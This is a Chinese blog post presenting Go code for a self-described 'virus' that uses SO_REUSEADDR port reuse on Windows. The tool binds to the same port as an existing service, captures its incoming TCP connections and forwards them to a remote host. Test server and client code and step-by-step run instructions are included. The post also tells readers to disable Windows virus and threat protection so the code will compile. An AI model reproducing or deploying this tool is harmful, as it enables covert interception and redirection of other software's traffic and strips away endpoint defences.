通过端口复用直接进行正向tcp代理--win会被识别为病毒

学习项目,代码粗糙。。。编译的时候win会识别代码为病毒,需关闭病毒和威胁防护,参考 https://blog.csdn.net/u_say2what/article/details/134669122

原理是SO_REUSEADDR技术实现端口复用

病毒

package main

import (
	"context"
	"fmt"
	_ "golang.org/x/sys/unix"
	"golang.org/x/sys/windows"
	"io"
	"net"
	"os"
	"runtime"
	"strconv"
	"syscall"
	"time"
)

var timeout = 1

var lc = net.ListenConfig{
	Control: func(network, address string, c syscall.RawConn) error {
		var opErr error
		if runtime.GOOS == "windows" {
			if err := c.Control(func(fd uintptr) {
				opErr = windows.SetsockoptInt(windows.Handle(fd), windows.SOL_SOCKET, windows.SO_REUSEADDR, 1)
			}); err != nil {
				return err
			}
		} else {
			if err := c.Control(func(fd uintptr) {
				//opErr = unix.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.SO_REUSEADDR, 1)
			}); err != nil {
				return err
			}
		}

		return opErr
	},
}

func isIPAddress(ipStr string) bool {
	ip := net.ParseIP(ipStr)
	return ip != nil
}

func isPort(portStr string) bool {
	port, err := strconv.Atoi(portStr)
	if err != nil {
		return false
	}
	return port > 0 && port <= 65535
}

// 示例 .\main.exe 192.168.20.0 8080 192.168.252.128 8080
func main() {
	lhost := os.Args[1]
	lprot := os.Args[2]
	rhost := os.Args[3]
	rport := os.Args[4]
	if !(isIPAddress(lhost) && isPort(lprot) && isIPAddress(rhost) && isPort(rport)) {
		fmt.Println("'" + os.Args[0] + "' " + "参数不能被识别")
		os.Exit(0)
	}
	if lhost == "0.0.0.0" || lhost == "127.0.0.1" || lhost == rhost {
		fmt.Println("本地地址和远程地址不能为 127.0.0.1,0.0.0.0")
		os.Exit(0)
	} else if lprot == rport && lhost == rhost {
		fmt.Println("参数错误")
		os.Exit(0)
	}
	laddr := fmt.Sprintf("%s:%s", lhost, lprot)
	l, err := lc.Listen(context.Background(), "tcp", laddr)
	go func() {
		time.Sleep(2 * time.Minute)
		l.Close()
		if timeout == 1 {
			os.Exit(0)
		}
	}()
	if err != nil {
		fmt.Println("无法监听端口:", err)
		return
	}
	fmt.Printf("开始监听端口 %s,将转发到 %s:%s\n", lprot, rhost, rport)
	for {
		clientConn, err := l.Accept()
		if err != nil {
			continue
		}
		go handleClient(clientConn, rhost, rport)
	}
}

func handleClient(clientConn net.Conn, remoteHost, remotePort string) {
	// 连接到目标主机
	serverConn, err := net.Dial("tcp", remoteHost+":"+remotePort)
	if err != nil {
		fmt.Println("连接到目标主机时出错:", err)
		clientConn.Close()
		return
	}
	defer serverConn.Close()

	// 在 goroutine 中进行双向数据传输
	done := make(chan struct{})
	go copyData(clientConn, serverConn, done)
	go copyData(serverConn, clientConn, done)

	// 等待任意一个goroutine完成后关闭另一个连接
	<-done
	clientConn.Close()
	<-done
}

func copyData(dst io.Writer, src io.Reader, done chan<- struct{}) {
	buf := make([]byte, 4096) // 使用较大的缓冲区,提高性能
	_, err := io.CopyBuffer(dst, src, buf)
	if err != nil && err != io.EOF {
		fmt.Println("数据传输时出错:", err)
	}
	done <- struct{}{}
}

使用示例

.\main.exe 192.168.110.66 8080 192.168.252.128 8080
  程序      本地地址    本地程序端口   目标地址  目标程序端口

#################################################

开始实验,实验阶段没有监听某某软件

新建tcp服务,本机和目标主机上都启动,本机是模拟xxx软件,目标主机是模拟收数据

server

package main

import (
	"fmt"
	"io"
	"net"
)

func main() {
	// 设置服务器监听的地址和端口
	listenAddr := ":8080"

	// 启动监听
	listener, err := net.Listen("tcp", listenAddr)
	if err != nil {
		fmt.Println("Error listening on", listenAddr, ":", err)
		return
	}
	defer listener.Close()

	fmt.Println("Server listening on", listenAddr)

	// 无限循环接受客户端连接
	for {
		// Accept 会阻塞等待客户端连接
		conn, err := listener.Accept()
		if err != nil {
			fmt.Println("Error accepting connection:", err)
			continue
		}

		// 处理客户端连接
		go handleClient1(conn)
	}
}

// handleClient 处理来自客户端的连接
func handleClient1(conn net.Conn) {
	defer conn.Close()

	// 创建一个缓冲区来读取数据
	buf := make([]byte, 4096)

	// 循环读取客户端发送的数据
	for {
		// 读取客户端发送的数据
		n, err := conn.Read(buf)
		if err != nil {
			if err != io.EOF {
				fmt.Println("Error reading from connection:", err)
			}
			break
		}

		// 输出接收到的消息
		fmt.Printf("Received from client: %s\n", buf[:n])

		// 将接收到的消息回复给客户端
		_, err = conn.Write(buf[:n])
		if err != nil {
			fmt.Println("Error writing to connection:", err)
			break
		}
	}
}

客户端模拟发消息

client

package main

import (
	"fmt"
	"net"
	"time"
)

func main() {
	// 设置服务器地址和端口
	serverAddr := "192.168.110.66:8080"

	// 连接到服务器
	conn, err := net.Dial("tcp", serverAddr)
	if err != nil {
		fmt.Println("Error dialing:", err)
		return
	}
	defer conn.Close()

	fmt.Println("Connected to server at", serverAddr)

	// 发送消息的循环
	for i := 0; i < 10; i++ {
		// 构造要发送的消息
		message := fmt.Sprintf("Hello, server! This is message #%d", i+1)

		// 发送消息到服务器
		_, err = conn.Write([]byte(message))
		if err != nil {
			fmt.Println("Error writing to connection:", err)
			return
		}

		// 等待服务器回复
		response := make([]byte, 4096)
		_, err = conn.Read(response)
		if err != nil {
			fmt.Println("Error reading from connection:", err)
			return
		}

		// 打印服务器的回复
		fmt.Println("Received from server:", string(response))

		// 休眠1秒,使得消息发送有间隔
		time.Sleep(1 * time.Second)
	}
}

本地机器,新起3个窗口,

1:病毒程序

.\main.exe 192.168.110.66 8080 192.168.252.128 8080

2:被监听的服务器程序

go run server.go

3:模拟客户端发消息

go run client.go

目标服务器,接收病毒服务器转发的消息,跟server服务器一样的代码就行

go run server.go

效果,可以接收到病毒服务转发来的消息

posted @ 2024-06-06 15:41  朝阳1  阅读(44)  评论(0)    收藏  举报